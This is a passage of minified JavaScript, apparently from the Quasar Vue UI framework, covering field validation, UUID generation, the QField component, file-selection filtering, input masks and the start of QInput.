                      , r = void 0;
                    if ("function" == typeof o ? r = o(t) : "string" == typeof o && void 0 !== ji[o] && (r = ji[o](t)),
                    !1 === r || "string" == typeof r)
                        return i(!0, r),
                        !1;
                    !0 !== r && void 0 !== r && s.push(r)
                }
                if (0 === s.length)
                    return i(!1),
                    !0;
                !0 !== this.innerLoading && (this.innerLoading = !0);
                var a = this.validateIndex;
                return Promise.all(s).then(function(t) {
                    if (a !== e.validateIndex)
                        return !0;
                    if (void 0 === t || !1 === Array.isArray(t) || 0 === t.length)
                        return i(!1),
                        !0;
                    var s = t.find(function(t) {
                        return !1 === t || "string" == typeof t
                    });
                    return i(void 0 !== s, s),
                    void 0 === s
                }, function(t) {
                    return a !== e.validateIndex || (console.error(t),
                    i(!0),
                    !1)
                })
            },
            __validateIfNeeded: function(t) {
                !0 === this.hasRules && "ondemand" !== this.lazyRules && (!0 === this.isDirty || !0 !== this.lazyRules && !0 !== t) && this.validate()
            }
        }
    }, _n = 0, bn = new Array(256), yn = 0; yn < 256; yn++)
        bn[yn] = (yn + 256).toString(16).substr(1);
    var wn = function() {
        var t = "undefined" != typeof crypto ? crypto : "undefined" != typeof window ? window.msCrypto : void 0;
        if (void 0 !== t) {
            if (void 0 !== t.randomBytes)
                return t.randomBytes;
            if (void 0 !== t.getRandomValues)
                return function(e) {
                    var i = new Uint8Array(e);
                    return t.getRandomValues(i),
                    i
                }
        }
        return function(t) {
            for (var e = [], i = t; i > 0; i--)
                e.push(Math.floor(256 * Math.random()));
            return e
        }
    }()
      , Sn = 4096;
    function xn() {
        (void 0 === ln || _n + 16 > Sn) && (_n = 0,
        ln = wn(Sn));
        var t = Array.prototype.slice.call(ln, _n, _n += 16);
        return t[6] = 15 & t[6] | 64,
        t[8] = 63 & t[8] | 128,
        bn[t[0]] + bn[t[1]] + bn[t[2]] + bn[t[3]] + "-" + bn[t[4]] + bn[t[5]] + "-" + bn[t[6]] + bn[t[7]] + "-" + bn[t[8]] + bn[t[9]] + "-" + bn[t[10]] + bn[t[11]] + bn[t[12]] + bn[t[13]] + bn[t[14]] + bn[t[15]]
    }
    function Cn(t) {
        return void 0 === t ? "f_" + xn() : t
    }
    var kn = t.extend({
        name: "QField",
        mixins: [Dt, gn, _t],
        inheritAttrs: !1,
        props: {
            label: String,
            stackLabel: Boolean,
            hint: String,
            hideHint: Boolean,
            prefix: String,
            suffix: String,
            labelColor: String,
            color: String,
            bgColor: String,
            filled: Boolean,
            outlined: Boolean,
            borderless: Boolean,
            standout: [Boolean, String],
            square: Boolean,
            loading: Boolean,
            labelSlot: Boolean,
            bottomSlots: Boolean,
            hideBottomSpace: Boolean,
            rounded: Boolean,
            dense: Boolean,
            itemAligned: Boolean,
            counter: Boolean,
            clearable: Boolean,
            clearIcon: String,
            disable: Boolean,
            readonly: Boolean,
            autofocus: Boolean,
            for: String,
            maxlength: [Number, String],
            maxValues: [Number, String]
        },
        data: function() {
            return {
                focused: !1,
                targetUid: Cn(this.for),
                innerLoading: !1
            }
        },
        watch: {
            for: function(t) {
                this.targetUid = Cn(t)
            }
        },
        computed: {
            editable: function() {
                return !0 !== this.disable && !0 !== this.readonly
            },
            hasValue: function() {
                var t = void 0 === this.__getControl ? this.value : this.innerValue;
                return void 0 !== t && null !== t && ("" + t).length > 0
            },
            computedCounter: function() {
                if (!1 !== this.counter) {
                    var t = "string" == typeof this.value || "number" == typeof this.value ? ("" + this.value).length : !0 === Array.isArray(this.value) ? this.value.length : 0
                      , e = void 0 !== this.maxlength ? this.maxlength : this.maxValues;
                    return t + (void 0 !== e ? " / " + e : "")
                }
            },
            floatingLabel: function() {
                return !0 === this.stackLabel || !0 === this.focused || (void 0 !== this.inputValue && !0 === this.hideSelected ? this.inputValue.length > 0 : !0 === this.hasValue) || void 0 !== this.displayValue && null !== this.displayValue && ("" + this.displayValue).length > 0
            },
            shouldRenderBottom: function() {
                return !0 === this.bottomSlots || void 0 !== this.hint || !0 === this.hasRules || !0 === this.counter || null !== this.error
            },
            classes: function() {
                var t;
                return (t = {})[this.fieldClass] = void 0 !== this.fieldClass,
                t["q-field--" + this.styleType] = !0,
                t["q-field--rounded"] = this.rounded,
                t["q-field--square"] = this.square,
                t["q-field--focused"] = !0 === this.focused || !0 === this.hasError,
                t["q-field--float"] = this.floatingLabel,
                t["q-field--labeled"] = this.hasLabel,
                t["q-field--dense"] = this.dense,
                t["q-field--item-aligned q-item-type"] = this.itemAligned,
                t["q-field--dark"] = this.isDark,
                t["q-field--auto-height"] = void 0 === this.__getControl,
                t["q-field--with-bottom"] = !0 !== this.hideBottomSpace && !0 === this.shouldRenderBottom,
                t["q-field--error"] = this.hasError,
                t["q-field--readonly"] = !0 === this.readonly && !0 !== this.disable,
                t["q-field--disabled"] = this.disable,
                t
            },
            styleType: function() {
                return !0 === this.filled ? "filled" : !0 === this.outlined ? "outlined" : !0 === this.borderless ? "borderless" : this.standout ? "standout" : "standard"
            },
            contentClass: function() {
                var t = [];
                if (!0 === this.hasError)
                    t.push("text-negative");
                else {
                    if ("string" == typeof this.standout && this.standout.length > 0 && !0 === this.focused)
                        return this.standout;
                    void 0 !== this.color && t.push("text-" + this.color)
                }
                return void 0 !== this.bgColor && t.push("bg-" + this.bgColor),
                t
            },
            hasLabel: function() {
                return !0 === this.labelSlot || void 0 !== this.label
            },
            labelClass: function() {
                if (void 0 !== this.labelColor && !0 !== this.hasError)
                    return "text-" + this.labelColor
            },
            controlSlotScope: function() {
                return {
                    id: this.targetUid,
                    field: this.$el,
                    editable: this.editable,
                    focused: this.focused,
                    floatingLabel: this.floatingLabel,
                    value: this.value,
                    emitValue: this.__emitValue
                }
            },
            attrs: function() {
                var t = {
                    for: this.targetUid
                };
                return !0 === this.disable ? t["aria-disabled"] = "" : !0 === this.readonly && (t["aria-readonly"] = ""),
                t
            }
        },
        methods: {
            focus: function() {
                void 0 === this.showPopup || !0 !== this.hasDialog ? this.__focus() : this.showPopup()
            },
            blur: function() {
                var t = document.activeElement;
                null !== t && this.$el.contains(t) && t.blur()
            },
            __focus: function() {
                var t = document.activeElement
                  , e = this.$refs.target;
                void 0 === e || null !== t && t.id === this.targetUid || (!0 === e.hasAttribute("tabindex") || (e = e.querySelector("[tabindex]")),
                null !== e && e !== t && e.focus())
            },
            __getContent: function(t) {
                var e = [];
                return void 0 !== this.$scopedSlots.prepend && e.push(t("div", {
                    staticClass: "q-field__prepend q-field__marginal row no-wrap items-center",
                    key: "prepend",
                    on: this.slotsEvents
                }, this.$scopedSlots.prepend())),
                e.push(t("div", {
                    staticClass: "q-field__control-container col relative-position row no-wrap q-anchor--skip"
                }, this.__getControlContainer(t))),
                void 0 !== this.$scopedSlots.append && e.push(t("div", {
                    staticClass: "q-field__append q-field__marginal row no-wrap items-center",
                    key: "append",
                    on: this.slotsEvents
                }, this.$scopedSlots.append())),
                !0 === this.hasError && !1 === this.noErrorIcon && e.push(this.__getInnerAppendNode(t, "error", [t(Et, {
                    props: {
                        name: this.$q.iconSet.field.error,
                        color: "negative"
                    }
                })])),
                !0 === this.loading || !0 === this.innerLoading ? e.push(this.__getInnerAppendNode(t, "inner-loading-append", void 0 !== this.$scopedSlots.loading ? this.$scopedSlots.loading() : [t(Kt, {
                    props: {
                        color: this.color
                    }
                })])) : !0 === this.clearable && !0 === this.hasValue && !0 === this.editable && e.push(this.__getInnerAppendNode(t, "inner-clearable-append", [t(Et, {
                    staticClass: "q-field__focusable-action",
                    props: {
                        tag: "button",
                        name: this.clearIcon || this.$q.iconSet.field.clear
                    },
                    attrs: {
                        tabindex: 0,
                        type: "button"
                    },
                    on: this.clearableEvents
                })])),
                void 0 !== this.__getInnerAppend && e.push(this.__getInnerAppendNode(t, "inner-append", this.__getInnerAppend(t))),
                void 0 !== this.__getControlChild && e.push(this.__getControlChild(t)),
                e
            },
            __getControlContainer: function(t) {
                var e = [];
                return void 0 !== this.prefix && null !== this.prefix && e.push(t("div", {
                    staticClass: "q-field__prefix no-pointer-events row items-center"
                }, [this.prefix])),
                !0 === this.hasShadow && void 0 !== this.__getShadowControl && e.push(this.__getShadowControl(t)),
                void 0 !== this.__getControl ? e.push(this.__getControl(t)) : void 0 !== this.$scopedSlots.rawControl ? e.push(this.$scopedSlots.rawControl()) : void 0 !== this.$scopedSlots.control && e.push(t("div", {
                    ref: "target",
                    staticClass: "q-field__native row",
                    attrs: Object.assign({}, this.qAttrs, {
                        "data-autofocus": this.autofocus
                    })
                }, this.$scopedSlots.control(this.controlSlotScope))),
                this.hasLabel && e.push(t("div", {
                    staticClass: "q-field__label no-pointer-events absolute ellipsis",
                    class: this.labelClass
                }, [Lt(this, "label", this.label)])),
                void 0 !== this.suffix && null !== this.suffix && e.push(t("div", {
                    staticClass: "q-field__suffix no-pointer-events row items-center"
                }, [this.suffix])),
                e.concat(void 0 !== this.__getDefaultSlot ? this.__getDefaultSlot(t) : Lt(this, "default"))
            },
            __getBottom: function(t) {
                var e, i;
                !0 === this.hasError ? void 0 !== this.computedErrorMessage ? (e = [t("div", [this.computedErrorMessage])],
                i = this.computedErrorMessage) : (e = Lt(this, "error"),
                i = "q--slot-error") : !0 === this.hideHint && !0 !== this.focused || (void 0 !== this.hint ? (e = [t("div", [this.hint])],
                i = this.hint) : (e = Lt(this, "hint"),
                i = "q--slot-hint"));
                var s = !0 === this.counter || void 0 !== this.$scopedSlots.counter;
                if (!0 !== this.hideBottomSpace || !1 !== s || void 0 !== e) {
                    var n = t("div", {
                        key: i,
                        staticClass: "q-field__messages col"
                    }, e);
                    return t("div", {
                        staticClass: "q-field__bottom row items-start q-field__bottom--" + (!0 !== this.hideBottomSpace ? "animated" : "stale")
                    }, [!0 === this.hideBottomSpace ? n : t("transition", {
                        props: {
                            name: "q-transition--field-message"
                        }
                    }, [n]), !0 === s ? t("div", {
                        staticClass: "q-field__counter"
                    }, void 0 !== this.$scopedSlots.counter ? this.$scopedSlots.counter() : [this.computedCounter]) : null])
                }
            },
            __getInnerAppendNode: function(t, e, i) {
                return null === i ? null : t("div", {
                    staticClass: "q-field__append q-field__marginal row no-wrap items-center q-anchor--skip",
                    key: e
                }, i)
            },
            __onControlPopupShow: function(t) {
                void 0 !== t && y(t),
                this.$emit("popup-show", t),
                this.hasPopupOpen = !0,
                this.__onControlFocusin(t)
            },
            __onControlPopupHide: function(t) {
                void 0 !== t && y(t),
                this.$emit("popup-hide", t),
                this.hasPopupOpen = !1,
                this.__onControlFocusout(t)
            },
            __onControlFocusin: function(t) {
                !0 === this.editable && !1 === this.focused && (this.focused = !0,
                this.$emit("focus", t))
            },
            __onControlFocusout: function(t, e) {
                var i = this;
                clearTimeout(this.focusoutTimer),
                this.focusoutTimer = setTimeout(function() {
                    (!0 !== document.hasFocus() || !0 !== i.hasPopupOpen && void 0 !== i.$refs && void 0 !== i.$refs.control && !1 === i.$refs.control.contains(document.activeElement)) && (!0 === i.focused && (i.focused = !1,
                    i.$emit("blur", t)),
                    void 0 !== e && e())
                })
            },
            __clearValue: function(t) {
                S(t),
                (this.$refs.target || this.$el).focus(),
                "file" === this.type && (this.$refs.input.value = null),
                this.$emit("input", null),
                this.$emit("clear", this.value)
            },
            __emitValue: function(t) {
                this.$emit("input", t)
            }
        },
        render: function(t) {
            return void 0 !== this.__onPreRender && this.__onPreRender(),
            void 0 !== this.__onPostRender && this.$nextTick(this.__onPostRender),
            t("label", {
                staticClass: "q-field q-validation-component row no-wrap items-start",
                class: this.classes,
                attrs: this.attrs
            }, [void 0 !== this.$scopedSlots.before ? t("div", {
                staticClass: "q-field__before q-field__marginal row no-wrap items-center",
                on: this.slotsEvents
            }, this.$scopedSlots.before()) : null, t("div", {
                staticClass: "q-field__inner relative-position col self-stretch column justify-center"
            }, [t("div", {
                ref: "control",
                staticClass: "q-field__control relative-position row no-wrap",
                class: this.contentClass,
                attrs: {
                    tabindex: -1
                },
                on: this.controlEvents
            }, this.__getContent(t)), !0 === this.shouldRenderBottom ? this.__getBottom(t) : null]), void 0 !== this.$scopedSlots.after ? t("div", {
                staticClass: "q-field__after q-field__marginal row no-wrap items-center",
                on: this.slotsEvents
            }, this.$scopedSlots.after()) : null])
        },
        created: function() {
            void 0 !== this.__onPreRender && this.__onPreRender(),
            this.slotsEvents = {
                click: w
            },
            this.clearableEvents = {
                click: this.__clearValue
            },
            this.controlEvents = void 0 !== this.__getControlEvents ? this.__getControlEvents() : {
                focusin: this.__onControlFocusin,
                focusout: this.__onControlFocusout,
                "popup-show": this.__onControlPopupShow,
                "popup-hide": this.__onControlPopupHide
            }
        },
        mounted: function() {
            !0 === s && void 0 === this.for && (this.targetUid = Cn()),
            !0 === this.autofocus && this.focus()
        },
        beforeDestroy: function() {
            clearTimeout(this.focusoutTimer)
        }
    });
    function qn(t, e, i, s) {
        var n = [];
        return t.forEach(function(t) {
            !0 === s(t) ? n.push(t) : e.push({
                failedPropValidation: i,
                file: t
            })
        }),
        n
    }
    var Tn = {
        props: {
            multiple: Boolean,
            accept: String,
            capture: String,
            maxFileSize: [Number, String],
            maxTotalSize: [Number, String],
            maxFiles: [Number, String],
            filter: Function
        },
        computed: {
            extensions: function() {
                if (void 0 !== this.accept)
                    return this.accept.split(",").map(function(t) {
                        return "*" === (t = t.trim()) ? "*/" : (t.endsWith("/*") && (t = t.slice(0, t.length - 1)),
                        t.toUpperCase())
                    })
            },
            maxFilesNumber: function() {
                return parseInt(this.maxFiles, 10)
            },
            maxTotalSizeNumber: function() {
                return parseInt(this.maxTotalSize, 10)
            }
        },
        methods: {
            pickFiles: function(t) {
                if (this.editable) {
                    var e = this.__getFileInput();
                    e && e.click(t)
                }
            },
            addFiles: function(t) {
                this.editable && t && this.__addFiles(null, t)
            },
            __processFiles: function(t, e, i, s) {
                var n = this
                  , o = Array.from(e || t.target.files)
                  , r = []
                  , a = function() {
                    r.length > 0 && n.$emit("rejected", r)
                };
                if (void 0 !== this.accept && -1 === this.extensions.indexOf("*/") && 0 === (o = qn(o, r, "accept", function(t) {
                    return n.extensions.some(function(e) {
                        return t.type.toUpperCase().startsWith(e) || t.name.toUpperCase().endsWith(e)
                    })
                })).length)
                    return a();
                if (void 0 !== this.maxFileSize) {
                    var l = parseInt(this.maxFileSize, 10);
                    if (0 === (o = qn(o, r, "max-file-size", function(t) {
                        return t.size <= l
                    })).length)
                        return a()
                }
                if (!0 !== this.multiple && (o = [o[0]]),
                void 0 !== this.maxTotalSize) {
                    var c = !0 === s ? i.reduce(function(t, e) {
                        return t + e.size
                    }, 0) : 0;
                    if (0 === (o = qn(o, r, "max-total-size", function(t) {
                        return (c += t.size) <= n.maxTotalSizeNumber
                    })).length)
                        return a()
                }
                if ("function" == typeof this.filter) {
                    var u = this.filter(o);
                    o = qn(o, r, "filter", function(t) {
                        return u.includes(t)
                    })
                }
                if (void 0 !== this.maxFiles) {
                    var h = !0 === s ? i.length : 0;
                    if (0 === (o = qn(o, r, "max-files", function() {
                        return ++h <= n.maxFilesNumber
                    })).length)
                        return a()
                }
                return a(),
                o.length > 0 ? o : void 0
            },
            __onDragOver: function(t) {
                S(t),
                this.dnd = !0
            },
            __onDragLeave: function(t) {
                S(t),
                this.dnd = !1
            },
            __onDrop: function(t) {
                S(t);
                var e = t.dataTransfer.files;
                e.length > 0 && this.__addFiles(null, e),
                this.dnd = !1
            },
            __getDnd: function(t, e) {
                if (!0 === this.dnd)
                    return t("div", {
                        staticClass: "q-" + e + "__dnd absolute-full",
                        on: mt(this, "dnd", {
                            dragenter: S,
                            dragover: S,
                            dragleave: this.__onDragLeave,
                            drop: this.__onDrop
                        })
                    })
            }
        }
    }
      , $n = {
        computed: {
            formDomProps: function() {
                if ("file" === this.type)
                    try {
                        var t = "DataTransfer"in window ? new DataTransfer : "ClipboardEvent"in window ? new ClipboardEvent("").clipboardData : void 0;
                        return Object(this.value) === this.value && ("length"in this.value ? Array.from(this.value) : [this.value]).forEach(function(e) {
                            t.items.add(e)
                        }),
                        {
                            files: t.files
                        }
                    } catch (t) {
                        return {
                            files: void 0
                        }
                    }
            }
        }
    }
      , Mn = {
        date: "####/##/##",
        datetime: "####/##/## ##:##",
        time: "##:##",
        fulltime: "##:##:##",
        phone: "(###) ### - ####",
        card: "#### #### #### ####"
    }
      , Ln = {
        "#": {
            pattern: "[\\d]",
            negate: "[^\\d]"
        },
        S: {
            pattern: "[a-zA-Z]",
            negate: "[^a-zA-Z]"
        },
        N: {
            pattern: "[0-9a-zA-Z]",
            negate: "[^0-9a-zA-Z]"
        },
        A: {
            pattern: "[a-zA-Z]",
            negate: "[^a-zA-Z]",
            transform: function(t) {
                return t.toLocaleUpperCase()
            }
        },
        a: {
            pattern: "[a-zA-Z]",
            negate: "[^a-zA-Z]",
            transform: function(t) {
                return t.toLocaleLowerCase()
            }
        },
        X: {
            pattern: "[0-9a-zA-Z]",
            negate: "[^0-9a-zA-Z]",
            transform: function(t) {
                return t.toLocaleUpperCase()
            }
        },
        x: {
            pattern: "[0-9a-zA-Z]",
            negate: "[^0-9a-zA-Z]",
            transform: function(t) {
                return t.toLocaleLowerCase()
            }
        }
    }
      , Bn = Object.keys(Ln);
    Bn.forEach(function(t) {
        Ln[t].regex = new RegExp(Ln[t].pattern)
    });
    var Pn = new RegExp("\\\\([^.*+?^${}()|([\\]])|([.*+?^${}()|[\\]])|([" + Bn.join("") + "])|(.)","g")
      , On = /[.*+?^${}()|[\]\\]/g
      , En = String.fromCharCode(1)
      , zn = {
        props: {
            mask: String,
            reverseFillMask: Boolean,
            fillMask: [Boolean, String],
            unmaskedValue: Boolean
        },
        watch: {
            type: function() {
                this.__updateMaskInternals()
            },
            mask: function(t) {
                if (void 0 !== t)
                    this.__updateMaskValue(this.innerValue, !0);
                else {
                    var e = this.__unmask(this.innerValue);
                    this.__updateMaskInternals(),
                    this.value !== e && this.$emit("input", e)
                }
            },
            fillMask: function() {
                !0 === this.hasMask && this.__updateMaskValue(this.innerValue, !0)
            },
            reverseFillMask: function() {
                !0 === this.hasMask && this.__updateMaskValue(this.innerValue, !0)
            },
            unmaskedValue: function() {
                !0 === this.hasMask && this.__updateMaskValue(this.innerValue)
            }
        },
        methods: {
            __getInitialMaskedValue: function() {
                if (this.__updateMaskInternals(),
                !0 === this.hasMask) {
                    var t = this.__mask(this.__unmask(this.value));
                    return !1 !== this.fillMask ? this.__fillWithMask(t) : t
                }
                return this.value
            },
            __getPaddedMaskMarked: function(t) {
                if (t < this.maskMarked.length)
                    return this.maskMarked.slice(-t);
                var e = this.maskMarked
                  , i = ""
                  , s = e.indexOf(En);
                if (s > -1) {
                    for (var n = t - e.length; n > 0; n--)
                        i += En;
                    e = e.slice(0, s) + i + e.slice(s)
                }
                return e
            },
            __updateMaskInternals: function() {
                var t = this;
                if (this.hasMask = void 0 !== this.mask && this.mask.length > 0 && ["text", "search", "url", "tel", "password"].includes(this.type),
                !1 === this.hasMask)
                    return this.computedUnmask = void 0,
                    this.maskMarked = "",
                    void (this.maskReplaced = "");
                var e = void 0 === Mn[this.mask] ? this.mask : Mn[this.mask]
                  , i = "string" == typeof this.fillMask && this.fillMask.length > 0 ? this.fillMask.slice(0, 1) : "_"
                  , s = i.replace(On, "\\$&")
                  , n = []
                  , o = []
                  , r = []
                  , a = !0 === this.reverseFillMask
                  , l = ""
                  , c = "";
                e.replace(Pn, function(t, e, i, s, u) {
                    if (void 0 !== s) {
                        var h = Ln[s];
                        r.push(h),
                        c = h.negate,
                        !0 === a && (o.push("(?:" + c + "+)?(" + h.pattern + "+)?(?:" + c + "+)?(" + h.pattern + "+)?"),
                        a = !1),
                        o.push("(?:" + c + "+)?(" + h.pattern + ")?")
                    } else if (void 0 !== i)
                        l = "\\" + ("\\" === i ? "" : i),
                        r.push(i),
                        n.push("([^" + l + "]+)?" + l + "?");
                    else {
                        var d = void 0 !== e ? e : u;
                        l = "\\" === d ? "\\\\\\\\" : d.replace(On, "\\\\$&"),
                        r.push(d),
                        n.push("([^" + l + "]+)?" + l + "?")
                    }
                });
                var u = new RegExp("^" + n.join("") + "(" + ("" === l ? "." : "[^" + l + "]") + "+)?$")
                  , h = o.length - 1
                  , d = o.map(function(e, i) {
                    return 0 === i && !0 === t.reverseFillMask ? new RegExp("^" + s + "*" + e) : i === h ? new RegExp("^" + e + "(" + ("" === c ? "." : c) + "+)?" + (!0 === t.reverseFillMask ? "$" : s + "*")) : new RegExp("^" + e)
                });
                this.computedMask = r,
                this.computedUnmask = function(t) {
                    var e = u.exec(t);
                    null !== e && (t = e.slice(1).join(""));
                    for (var i = [], s = d.length, n = 0, o = t; n < s; n++) {
                        var r = d[n].exec(o);
                        if (null === r)
                            break;
                        o = o.slice(r.shift().length),
                        i.push.apply(i, r)
                    }
                    return i.length > 0 ? i.join("") : t
                }
                ,
                this.maskMarked = r.map(function(t) {
                    return "string" == typeof t ? t : En
                }).join(""),
                this.maskReplaced = this.maskMarked.split(En).join(i)
            },
            __updateMaskValue: function(t, e, i) {
                var s = this
                  , n = this.$refs.input
                  , o = n.selectionEnd
                  , r = n.value.length - o
                  , a = this.__unmask(t);
                !0 === e && this.__updateMaskInternals();
                var l = this.__mask(a)
                  , c = !1 !== this.fillMask ? this.__fillWithMask(l) : l
                  , u = this.innerValue !== c;
                n.value !== c && (n.value = c),
                !0 === u && (this.innerValue = c),
                document.activeElement === n && this.$nextTick(function() {
                    if (c !== s.maskReplaced)
                        if ("insertFromPaste" !== i || !0 === s.reverseFillMask)
                            if (["deleteContentBackward", "deleteContentForward"].indexOf(i) > -1) {
                                var t = !0 === s.reverseFillMask ? Math.max(0, c.length - (c === s.maskReplaced ? 0 : Math.min(l.length, r) + 1)) + 1 : o;
                                n.setSelectionRange(t, t, "forward")
                            } else if (!0 === s.reverseFillMask)
                                if (!0 === u) {
                                    var e = Math.max(0, c.length - (c === s.maskReplaced ? 0 : Math.min(l.length, r + 1)));
                                    s.__moveCursorRightReverse(n, e, e)
                                } else {
                                    var a = c.length - r;
                                    n.setSelectionRange(a, a, "backward")
                                }
                            else if (!0 === u) {
                                var h = Math.max(0, s.maskMarked.indexOf(En), Math.min(l.length, o) - 1);
                                s.__moveCursorRight(n, h, h)
                            } else {
                                var d = o - 1;
                                s.__moveCursorRight(n, d, d)
                            }
                        else {
                            var p = o - 1;
                            s.__moveCursorRight(n, p, p)
                        }
                    else {
                        var f = !0 === s.reverseFillMask ? s.maskReplaced.length : 0;
                        n.setSelectionRange(f, f, "forward")
                    }
                });
                var h = !0 === this.unmaskedValue ? this.__unmask(c) : c;
                this.value !== h && this.__emitValue(h, !0)
            },
            __moveCursorForPaste: function(t, e, i) {
                var s = this.__mask(this.__unmask(t.value));
                e = Math.max(0, this.maskMarked.indexOf(En), Math.min(s.length, e)),
                t.setSelectionRange(e, i, "forward")
            },
            __moveCursorLeft: function(t, e, i, s) {
                for (var n = -1 === this.maskMarked.slice(e - 1).indexOf(En), o = Math.max(0, e - 1); o >= 0; o--)
                    if (this.maskMarked[o] === En) {
                        e = o,
                        !0 === n && e++;
                        break
                    }
                if (o < 0 && void 0 !== this.maskMarked[e] && this.maskMarked[e] !== En)
                    return this.__moveCursorRight(t, 0, 0);
                e >= 0 && t.setSelectionRange(e, !0 === s ? i : e, "backward")
            },
            __moveCursorRight: function(t, e, i, s) {
                for (var n = t.value.length, o = Math.min(n, i + 1); o <= n; o++) {
                    if (this.maskMarked[o] === En) {
                        i = o;
                        break
                    }
                    this.maskMarked[o - 1] === En && (i = o)
                }
                if (o > n && void 0 !== this.maskMarked[i - 1] && this.maskMarked[i - 1] !== En)
                    return this.__moveCursorLeft(t, n, n);
                t.setSelectionRange(s ? e : i, i, "forward")
            },
            __moveCursorLeftReverse: function(t, e, i, s) {
                for (var n = this.__getPaddedMaskMarked(t.value.length), o = Math.max(0, e - 1); o >= 0; o--) {
                    if (n[o - 1] === En) {
                        e = o;
                        break
                    }
                    if (n[o] === En && (e = o,
                    0 === o))
                        break
                }
                if (o < 0 && void 0 !== n[e] && n[e] !== En)
                    return this.__moveCursorRightReverse(t, 0, 0);
                e >= 0 && t.setSelectionRange(e, !0 === s ? i : e, "backward")
            },
            __moveCursorRightReverse: function(t, e, i, s) {
                for (var n = t.value.length, o = this.__getPaddedMaskMarked(n), r = -1 === o.slice(0, i + 1).indexOf(En), a = Math.min(n, i + 1); a <= n; a++)
                    if (o[a - 1] === En) {
                        (i = a) > 0 && !0 === r && i--;
                        break
                    }
                if (a > n && void 0 !== o[i - 1] && o[i - 1] !== En)
                    return this.__moveCursorLeftReverse(t, n, n);
                t.setSelectionRange(!0 === s ? e : i, i, "forward")
            },
            __onMaskedKeydown: function(t) {
                if (!0 !== J(t)) {
                    var e = this.$refs.input
                      , i = e.selectionStart
                      , s = e.selectionEnd;
                    if (37 === t.keyCode || 39 === t.keyCode) {
                        var n = this["__moveCursor" + (39 === t.keyCode ? "Right" : "Left") + (!0 === this.reverseFillMask ? "Reverse" : "")];
                        t.preventDefault(),
                        n(e, i, s, t.shiftKey)
                    } else
                        8 === t.keyCode && !0 !== this.reverseFillMask && i === s ? this.__moveCursorLeft(e, i, s, !0) : 46 === t.keyCode && !0 === this.reverseFillMask && i === s && this.__moveCursorRightReverse(e, i, s, !0);
                    this.$emit("keydown", t)
                }
            },
            __mask: function(t) {
                if (void 0 === t || null === t || "" === t)
                    return "";
                if (!0 === this.reverseFillMask)
                    return this.__maskReverse(t);
                for (var e = this.computedMask, i = 0, s = "", n = 0; n < e.length; n++) {
                    var o = t[i]
                      , r = e[n];
                    if ("string" == typeof r)
                        s += r,
                        o === r && i++;
                    else {
                        if (void 0 === o || !r.regex.test(o))
                            return s;
                        s += void 0 !== r.transform ? r.transform(o) : o,
                        i++
                    }
                }
                return s
            },
            __maskReverse: function(t) {
                for (var e = this.computedMask, i = this.maskMarked.indexOf(En), s = t.length - 1, n = "", o = e.length - 1; o >= 0; o--) {
                    var r = e[o]
                      , a = t[s];
                    if ("string" == typeof r)
                        n = r + n,
                        a === r && s--;
                    else {
                        if (void 0 === a || !r.regex.test(a))
                            return n;
                        do {
                            n = (void 0 !== r.transform ? r.transform(a) : a) + n,
                            a = t[--s]
                        } while (i === o && void 0 !== a && r.regex.test(a))
                    }
                }
                return n
            },
            __unmask: function(t) {
                return "string" != typeof t || void 0 === this.computedUnmask ? "number" == typeof t ? this.computedUnmask("" + t) : t : this.computedUnmask(t)
            },
            __fillWithMask: function(t) {
                return this.maskReplaced.length - t.length <= 0 ? t : !0 === this.reverseFillMask && t.length > 0 ? this.maskReplaced.slice(0, -t.length) + t : t + this.maskReplaced.slice(t.length)
            }
        }
    }
      , An = /[\u3000-\u303f\u3040-\u309f\u30a0-\u30ff\uff00-\uff9f\u4e00-\u9faf\u3400-\u4dbf]/
      , Dn = /(?:[\u3300-\u4DBF\u4E00-\u9FFF\uF900-\uFAFF\uFE30-\uFE4F]|[\uD840-\uD868\uD86A-\uD872][\uDC00-\uDFFF]|\uD869[\uDC00-\uDEDF\uDF00-\uDFFF]|\uD873[\uDC00-\uDEAF]|\uD87E[\uDC00-\uDE1F])/
      , Rn = /[\u3131-\u314e\u314f-\u3163\uac00-\ud7a3]/
      , In = {
        methods: {
            __onComposition: function(t) {
                if ("compositionend" === t.type || "change" === t.type) {
                    if (!0 !== t.target.composing)
                        return;
                    t.target.composing = !1,
                    this.__onInput(t)
                } else
                    "compositionupdate" === t.type ? "string" == typeof t.data && !1 === An.test(t.data) && !1 === Dn.test(t.data) && !1 === Rn.test(t.data) && (t.target.composing = !1) : t.target.composing = !0
            }
        }
    }
      , Fn = t.extend({
        name: "QInput",
        mixins: [kn, zn, In, li, $n, Mt],
        props: {
            value: {
                required: !1
            },
            shadowText: String,
            type: {
                type: String,
                default: "text"
            },
            debounce: [String, Number],
            autogrow: Boolean,
            inputClass: [Array, String, Object],
            inputStyle: [Array, String, Object]
        },
        watch: {
            value: function(t) {
                if (!0 === this.hasMask) {
                    if (!0 === this.stopValueWatcher)
                        return void (this.stopValueWatcher = !1);
                    this.__updateMaskValue(t)
                } else
                    this.innerValue !== t && (this.innerValue = t,
                    "number" === this.type && !0 === this.hasOwnProperty("tempValue") && (!0 === this.typedNumber ? this.typedNumber = !1 : delete this.tempValue));
                !0 === this.autogrow && this.$nextTick(this.__adjustHeight)
            },
            autogrow: function(t) {
                if (!0 === t)
                    this.$nextTick(this.__adjustHeight);
                else if (this.qAttrs.rows > 0 && void 0 !== this.$refs.input) {
                    this.$refs.input.style.height = "auto"
                }
            },
            dense: function() {
                !0 === this.autogrow && this.$nextTick(this.__adjustHeight)
            }
        },
        data: function() {
            return {
                innerValue: this.__getInitialMaskedValue()
            }
        },
        computed: {
            isTextarea: function() {
                return "textarea" === this.type || !0 === this.autogrow
            },
            fieldClass: function() {
                return "q-" + (!0 === this.isTextarea ? "textarea" : "input") + (!0 === this.autogrow ? " q-textarea--autogrow" : "")
            },
            hasShadow: function() {
                return "file" !== this.type && "string" == typeof this.shadowText && this.shadowText.length > 0
            },
            onEvents: function() {
                var t = Object.assign({}, this.qListeners, {
                    input: this.__onInput,
                    paste: this.__onPaste,
                    change: this.__onChange,
                    blur: this.__onFinishEditing,
                    focus: y
                });
                return t.compositionstart = t.compositionupdate = t.compositionend = this.__onComposition,
                !0 === this.hasMask && (t.keydown = this.__onMaskedKeydown),
                !0 === this.autogrow && (t.animationend = this.__adjustHeight),
                t
            },
            inputAttrs: function() {
                var t = Object.assign({}, {
                    tabindex: 0,
                    "data-autofocus": this.autofocus,
                    rows: "textarea" === this.type ? 6 : void 0,
                    "aria-label": this.label,
                    name: this.nameProp
                }, this.qAttrs, {
                    id: this.targetUid,
                    type: this.type,
                    maxlength: this.maxlength,
                    disabled: !0 === this.disable,
                    readonly: !0 === this.readonly
                });
